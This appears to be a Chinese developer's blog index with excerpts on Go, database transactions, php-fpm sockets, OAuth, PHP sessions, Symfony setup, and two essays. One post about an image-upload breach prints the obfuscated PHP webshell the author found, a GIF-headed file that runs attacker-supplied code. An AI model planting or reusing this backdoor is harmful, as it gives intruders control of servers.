翻译自 https://gobyexample.com/

Go by Example

Go is an open source programming language designed for building simple, fast, and reliable software.

Go by Example is a hands-on introduction to Go using annotated example programs. Check out the first example or browse the full list below.

Go by Example: Hello world

1
2
3
4
5
6
7
package main

import "fmt"

func main() {
fmt.Println("hello world")
}
1
2
3
4
5
6
7
8
9
10
11
12
// 直接运行go文件
$ go run hello-world.go
hello world

// 编译go文件,生成可执行的二进制文件,生成的文件名默认同源文件名
$ go build hello-world.go
$ ls
hello-world hello-world.go

// 执行编译好的可执行文件
$ ./hello-world
hello world

即go文件可直接通过go run golang_file运行,可以通过编译为二进制文件方式运行。

原文链接:Go by Example: Hello World

之前做过一个项目涉及到用户上传图片,当时项目比较小且一个人做就没用框架。上传这部分的验证综合服务器没有安装exifgd扩展就简单根据 getimagesize(文档) 函数是否返回false判断,后面出现了问题。

有天一位前同事告知这个项目被朋友hack注入了脚本,就是通过上传操作。

我登入服务器相应目录,根据时间排序发现了可疑文件,后缀名竟然是 .php,矮油我去,赶紧download下来并删除(线上先暂时加了后缀名验证),打开一看:

1
2
3
4
5
6
GIF89a
<?php
@$bSzrL= "s\x74r\x5fr\x65\x70lac\x65";
@$VwissV= @$bSzrL('drApO','','adrApOrdrApOraydrApO_drApOmdrApOap');
@$ZXNFh= @$bSzrL('DBCFzQ','','asseDBCFzQrDBCFzQt');
@$VwissV(@$ZXNFh,(array)@$_REQUEST['csqing123']);

毕竟学识浅薄,没搞过别人也没别人搞过,不太熟悉其中的套路,傻眼了两秒。

阅读全文 »

数据库事务

数据库管理系统执行过程中的一个逻辑单位,由一个有限的数据库操作序列构成.

一个数据库事务通常包含了一个序列的对数据库的读/写操作。它的存在包含有以下两个目的:

  • 为数据库操作序列提供了一个从失败中恢复到正常状态的方法,同时提供了数据库即使在异常状态下仍能保持一致性的方法。
  • 当多个应用程序在并发访问数据库时,可以在这些应用程序之间提供一个隔离方法,以防止彼此的操作互相干扰。

当事务被提交给了DBMS(数据库管理系统),则DBMS(数据库管理系统)需要确保该事务中的所有操作都成功完成且其结果被永久保存在数据库中,如果事务中有的操作没有成功完成,则事务中的所有操作都需要被回滚,回到事务执行前的状态;同时,该事务对数据库或者其他事务的执行无影响,所有的事务都好像在独立的运行。

但在现实情况下,失败的风险很高。在一个数据库事务的执行过程中,有可能会遇上事务操作失败、数据库系统/操作系统失败,甚至是存储介质失败等情况。这便需要DBMS对一个执行失败的事务执行恢复操作,将其数据库状态恢复到一致状态(数据的一致性得到保证的状态)。为了实现将数据库状态恢复到一致状态的功能,DBMS通常需要维护**事务日志(基于日志的REDO/UNDO机制)**以追踪事务中所有影响数据库数据的操作。

ACID

  • 原子性(Atomicity):事务作为一个整体被执行,包含在其中的对数据库的操作要么全部被执行,要么都不执行。
  • 一致性(Consistency):事务应确保数据库的状态从一个一致状态转变为另一个一致状态。一致状态的含义是数据库中的数据应满足完整性约束。
  • 隔离性(Isolation):多个事务并发执行时,一个事务的执行不应影响其他事务的执行。
  • 持久性(Durability):已被提交的事务对数据库的修改应该永久保存在数据库中。
    阅读全文 »

之前配置lnmp环境时有发现php-fpm既可以监听127.0.0.1:9000(ip+端口形式), 也可以监听/path/to/unix/socket(Unix Domain Socket形式), 用起来感觉并没有什么差异, 网上查下了资料,大略总结下。

Unix Domain Socket

Unix domain socket 或者 IPC socket是一种终端,可以使 同一台操作系统 上的两个或多个进程进行数据通信。与管道相比,Unix domain sockets 既可以使用字节流,又可以使用数据队列,而管道通信则只能使用字节流。Unix domain sockets的接口和Internet socket很像,但它不使用网络底层协议来通信。Unix domain socket 的功能是POSIX操作系统里的一种组件。

Unix domain sockets 使用系统文件的地址来作为自己的身份。它可以被系统进程引用。所以两个进程可以同时打开一个Unix domain sockets来进行通信。不过这种通信方式是发生在系统内核里而不会在网络里传播。

同一台操作系统

  • 直接弊端: 限定UDS的使用只能在同一台服务器,即限定Nginx和php必须部署在同一台机

系统文件标识身份

  • 方便利用linux的文件访问权限机制,来控制进程的访问权限。如Nginx运行用户为www, 则该socket文件必须对www用户有读写的权限,而其他没有读写权限的进程无法与php-fpm进程通信。
  • less copying of data, fewer context switches。相比基于TCP/IP协议栈的形式,UDS减少了如数据安全校验、路由、流量控制、封包解包等操作的性能消耗,在性能表现方面略高,不过这方面的性能优势只是理论上的,实际线上环境的差异应该不大。
    阅读全文 »

OAuth简介

OAuth是一个关于授权(authorization)的开放网络标准,在全世界得到广泛应用,目前的版本是2.0版。

OAuth在”客户端”与”服务提供商”之间,设置了一个授权层(authorization layer)。”客户端”不能直接登录”服务提供商”,只能登录授权层,以此将用户与客户端区分开来。”客户端”登录授权层所用的令牌(token),与用户的密码不同。用户可以在登录的时候,指定授权层令牌的权限范围和有效期。
“客户端”登录授权层以后,”服务提供商”根据令牌的权限范围和有效期,向”客户端”开放用户储存的资料。

OAuth授权流程

授权流程

  1. 用户打开客户端以后,客户端要求用户给予授权
  2. 用户同意给予客户端授权
  3. 客户端使用上一步获得的授权,向认证服务器申请令牌
  4. 认证服务器对客户端进行认证以后,确认无误,同意发放令牌
  5. 客户端使用令牌,向资源服务器申请获取资源
  6. 资源服务器确认令牌无误,同意向客户端开放资源

不难看出来,上面六个步骤之中,2是关键,即用户怎样才能给于客户端授权。有了这个授权以后,客户端就可以获取令牌,进而凭令牌获取资源。

获取授权的四种模式

客户端必须得到用户的授权(authorization grant),才能获得令牌(access token)。OAuth 2.0定义了四种授权方式。

  • 授权码模式(authorization code)
  • 简化模式(implicit)
  • 密码模式(resource owner password credentials)
  • 客户端模式(client credentials)
阅读全文 »

session start

手工开启之前需先判断是否已经启动, 两种判断:

PHP版本 < 5.4.0
1
2
3
4
5
6
<?php
// 通过session_id亦可适用于高版本
if (session_id() == '') {
session_start();
}
?>
PHP版本 >= 5.4.0
1
2
3
4
5
6
<?php
// session_status最低只支持5.4.0的PHP版本
if (session_status() == PHP_SESSION_NONE) {
session_start();
}
?>

即:

1
2
3
4
5
6
7
8
9
10
<?php
// 检测session是否开启
function hasSessionStarted() {
if (version_compare(phpversion(), '5.4.0', '<')) {
$session_id = session_id();
return !empty($session_id);
} else {
return session_status() != PHP_SESSION_NONE;
}
}
阅读全文 »

文: 许知远
来源: 凤凰网
链接: http://book.ifeng.com/culture/1/detail_2010_05/11/1504069_0.shtml

大约三十年前,当法国学生们被问道,谁是他们最仰慕的公众人物时,他们选择的不是老年萨特,而是米歇尔.科卢奇——一位电视喜剧演员,以嘲讽和出言不逊著称。

时代的风尚转变了,六十年代的理想主义、改变世界的愿望,让位于七十年代的幻灭与狭隘的个人主义。嘲讽成了时代的情绪,人们在乎的是姿态,而不是内容。

此刻的中国,人人都在谈论韩寒。他像是越来越压抑、越来越迷惘的时代的最后救命稻草。上了年纪的知识分子说他头脑清醒,媒体欢呼他是“青年领袖”、“年度人物”,青年人觉得他不仅很酷,还有思想。

没人能否认韩寒的魅力。他能把赛车冠军、畅销书作家、叛逆小子和即兴讽刺者等多重的角色结合,并能在种种诱惑面前保持警惕,况且他才二十七岁。人们尤其着迷于最后一点,他在自己全球浏览量第一的博客上,嘲讽这社会中的种种愚蠢和不公——它们绝大多数与这个越来越膨胀和傲慢的官僚系统相关。有些时候,他不仅嘲讽,还期待创造意义,尽管他还不清楚这意义到底是什么。

作为一个青年人,这似乎已经足了,他必定是我们时代最可爱、最聪明的明星人物。但很多人(包括一些自认有思想的人)把他推到了一个令他本人都尴尬的位置——他要成为这个时代的英雄,象征着思想的力量,象征着对权力的反抗。

但这不是韩寒,人们越是把他推向这个位置,越暴露出这个时代、这些高声吶喊者的愚蠢、脆弱与怯懦。在某种意义上,韩寒的胜利不是他个人的胜利,而是这个正在兴起的庸众时代的胜利。

是的,你可以说每个杰出人物必然与他身处的时代相关联,但一种越来越明显的趋势是——名声和有影响力越来越与个人的质量、才能与成就无关。在西方,这是个Paris Hilton和苏珊大妈的年代——她因为有名而有名,因为不怕出丑而有名。在中国,这是个李宇春与小沈阳的年代——人们因她小小的个性,或是他的自我贬损,而把票投给他们。

韩寒与他们不同,却也是被同样一种力量推到今天的舞台。他是这个时代明星文化与成功文化的产物,也符合这个时代所推崇的业余精神——赛车、写作、表演,你都要会一点;他还下意识响应了日趋悤烈的反智倾向,他的文章总是如此浅显直白,没有任何阅读障碍,也不会提到任何你不知道的知识;还有他嘲讽式的挑衅姿态,显得如此机智,他还熟知挑战的分寸,绝不真正越政治雷池一步;他也从来不暴露自己内心的焦灼与困惑,很酷……

阅读全文 »

我这一生,尽是可耻之事

我总是无法理清人类生活的头绪。我从小在东北的乡间长大,初次见到火车,是年纪稍大后的事了。我在火车站的天桥上爬上爬下,满以为它是为了把车站建的像外国的游乐场一般复杂有趣,而特地打造的新潮设施。很长一段时间里,我对此深信不疑。在天桥上爬来爬去,曾是我最拿手的游戏。我原以为,那是铁路局最为贴心的服务之一。后来我发现,天桥不过是供乘客跨越铁路而设,只是一段实用性的阶梯,于是顿感索然无味。

此外,幼年的我在绘本中见到地铁,也不以为它是为实际需求而建,竟自认为比起地面上的车,地底下的车别出心裁、乐趣非凡,这应是地铁出现的缘由。

我自幼体弱多病,长期卧床在家。躺在床上,我笃定的认为这些床单、枕头套、被套都是单调乏味的装饰品。将满二十岁时,才得知这些竟也都是实用品。我颇感意外,对于人活于世的简朴,不禁悲从中来。

还有,我不懂得饥肠辘辘的滋味。不,我并非要傻乎乎的说明自己成长在不愁衣食的大户人家,只是我的确不曾体会饥饿之感。这样说来或许奇怪,我是那种即使饿了,也无法自察的人。中小学时,每当放学回家,周遭的人们总会七嘴八舌地吵着:“肚子饿了吧?我们都是过来人,放学回家的时候肚子总会饿的够戗。来电甜纳豆如何?还有蛋糕和面包哦。” 我也总会发挥自己与生俱来的讨好人的精神,嘴上说着“我饿了”,顺手把十颗甜纳豆扔进嘴里。但其实,那时的我对于饥饿一无所知。

当然我的食量并不小,记忆中却几乎不曾因饥饿而进食。我吃人们眼中的山珍海味,也吃众人艳羡的奢华之食。外出用餐时,总会勉强自己吃到撑。年幼之时,于我而言,最痛苦的时刻,莫过于在自家用餐的时候。

在乡下家中,每逢用餐,全家十余人的餐盘都分成相对的两列排开。身为幺子的我,自然坐在末座。用餐的房间光线暗淡,午饭时,十几位家人默默坐在桌前扒饭,这光景总是让我不寒而栗。我家是传统守旧的乡下家庭,菜色大都墨守成规,我渐渐对山珍海味或奢华之食不再抱有期待,最终竟觉得吃饭的时刻是可怖的。我坐在那幽暗房间的餐桌末端,因恐惧而寒战连连,把饭食一点点强压进口中,闷想着:“人为何一天非吃三餐不可?” 每个人吃饭时都表情严肃,用餐俨然如某种仪式:一家人必须得每日三次,准时聚集到一间幽暗的屋中。餐盘的顺序要摆放正确,即使并不饿,也必须沉默着低头咀嚼饭食。以至于我曾以为,这是在向家中蠢蠢欲动的亡灵们祈祷。

阅读全文 »

安装symfony

Linux/OSX

  • $ sudo curl -LsS https://symfony.com/installer -o /usr/local/bin/symfony
  • $ sudo chmod a+x /usr/local/bin/symfony

OSX

  • $ brew install homebrew/php/symfony-installer

新建symfony项目

$ symfony new my_project_name [version]

symfony 3.0 开始需PHP版本不低于5.5.9, 2.x版本支持PHP 5.3.x版本, 需要根据自己的PHP版本来确定symfony项目的版本, version参数不加默认是master分支, 具体可查 symfony的composer.json文件

也可用composer方式新建项目: composer create-project symfony/framework-standard-edition my_project_name "[version]"

测试项目是否初始化成功

  • 进入到 my_project_name 文件夹
  • 启动php内置web服务 php bin/console server:run
  • 访问 http://localhost:8000 即可看到symfony欢迎页面

注: symfony 3.0之前的版本console文件路径是 app/console, 之后的是 bin/console, 下文默认使用3.0后的版本, 如果你的环境是2.x版本则需改为 app/console

初始化数据库

注: 若数据库已存在则不需要这个过程, 只需将配置文件中 database_name 字段修改为所用数据库名称

修改配置文件

编辑 app/config/parameters.yml, 修改 database_ 相关字段的配置

阅读全文 »


我深深的爱着你😚
你却爱着一个傻逼😞
傻逼也没关系😉
我就是 那个傻逼😎
啦啦啦啦啦啦啦
...